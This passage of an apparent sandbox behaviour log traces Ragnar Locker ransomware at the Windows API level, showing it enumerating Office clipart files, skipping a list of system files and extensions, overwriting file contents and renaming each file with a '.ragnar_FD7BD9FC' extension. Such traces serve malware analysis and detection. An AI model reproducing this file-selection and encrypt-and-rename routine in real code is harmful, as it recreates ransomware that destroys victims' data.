lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" [0088.400] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ragnar_FD7BD9FC" [0088.400] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.401] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0088.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.401] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00068_.WMF" | out: lpString1="NA00068_.WMF") returned="NA00068_.WMF" [0088.401] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF") returned=".WMF" [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="autorun.inf") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="boot.ini") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="bootfont.bin") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="bootsect.bak") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="bootmgr") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="bootmgr.efi") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="desktop.ini") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="iconcache.db") returned 1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="ntldr") returned -1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="ntuser.dat") returned -1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="ntuser.ini") returned -1 [0088.401] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="thumbs.db") returned -1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.401] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf")) returned 0x20 [0088.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.402] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4900) returned 1 [0088.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x131b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.403] GetProcessHeap () returned 0x580000 [0088.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.403] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.404] VirtualAlloc (lpAddress=0x0, dwSize=0x1324, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.405] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1324, lpOverlapped=0x0) returned 1 [0088.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1324, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.405] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1324, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1324, lpOverlapped=0x0) returned 1 [0088.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1324, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.406] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.406] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.406] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.406] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.406] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.406] GetProcessHeap () returned 0x580000 [0088.406] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.406] CloseHandle (hObject=0xf4) returned 1 [0088.406] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" [0088.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ragnar_FD7BD9FC" [0088.406] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0088.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.407] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00238_.WMF" | out: lpString1="NA00238_.WMF") returned="NA00238_.WMF" [0088.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF") returned=".WMF" [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="autorun.inf") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="boot.ini") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="bootfont.bin") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="bootsect.bak") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="bootmgr") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="bootmgr.efi") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="desktop.ini") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="iconcache.db") returned 1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="ntldr") returned -1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="ntuser.dat") returned -1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="ntuser.ini") returned -1 [0088.407] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="thumbs.db") returned -1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.408] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf")) returned 0x20 [0088.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.408] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4996) returned 1 [0088.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x137b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.408] GetProcessHeap () returned 0x580000 [0088.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.408] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.410] VirtualAlloc (lpAddress=0x0, dwSize=0x1384, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1384, lpOverlapped=0x0) returned 1 [0088.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1384, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.411] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1384, lpOverlapped=0x0) returned 1 [0088.411] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1384, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.411] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.411] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.412] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.412] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.412] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.412] GetProcessHeap () returned 0x580000 [0088.412] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.412] CloseHandle (hObject=0xf4) returned 1 [0088.412] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" [0088.412] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ragnar_FD7BD9FC" [0088.412] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0088.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.413] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00330_.WMF" | out: lpString1="NA00330_.WMF") returned="NA00330_.WMF" [0088.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF") returned=".WMF" [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="autorun.inf") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="boot.ini") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="bootfont.bin") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="bootsect.bak") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="bootmgr") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="bootmgr.efi") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="desktop.ini") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="iconcache.db") returned 1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="ntldr") returned -1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="ntuser.dat") returned -1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="ntuser.ini") returned -1 [0088.413] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="thumbs.db") returned -1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.413] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf")) returned 0x20 [0088.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.414] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2148) returned 1 [0088.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x85b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.414] GetProcessHeap () returned 0x580000 [0088.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.414] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.416] VirtualAlloc (lpAddress=0x0, dwSize=0x864, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.416] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x864, lpOverlapped=0x0) returned 1 [0088.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x864, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.416] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x864, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x864, lpOverlapped=0x0) returned 1 [0088.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.417] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.417] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.417] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.417] GetProcessHeap () returned 0x580000 [0088.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.417] CloseHandle (hObject=0xf4) returned 1 [0088.417] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" [0088.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ragnar_FD7BD9FC" [0088.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft 